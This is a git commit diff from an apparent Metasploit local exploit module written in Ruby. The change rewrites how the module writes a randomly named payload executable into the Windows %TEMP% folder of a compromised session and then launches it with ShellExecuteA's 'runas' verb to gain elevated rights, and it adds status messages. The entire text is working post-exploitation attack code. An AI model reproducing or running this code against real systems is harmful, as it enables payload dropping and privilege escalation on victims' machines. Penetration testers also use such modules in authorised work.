add some output and fixing
parent
75d2abc8c2
commit
aed2490536
|
@ -44,8 +44,13 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
payload = generate_payload_exe
|
||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
tmpdir = session.fs.file.expand_path("%TEMP%")
|
||||
session.fs.file.upload_file("#{tmpdir}\\#{payload_filename}", payload)
|
||||
session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
|
||||
tempexe = tmpdir + "\\" + payload_filename
|
||||
fd = session.fs.file.new(tempexe, "wb")
|
||||
fd.write(payload)
|
||||
fd.close
|
||||
print_status("Uploading payload: #{tmpdir}\\#{payload_filename}")
|
||||
session.railgun.shell32.ShellExecuteA(nil,"runas","#{tmpdir}\\#{payload_filename}",nil,nil,5)
|
||||
print_status("Payload executed")
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
Loading…
Reference in New Issue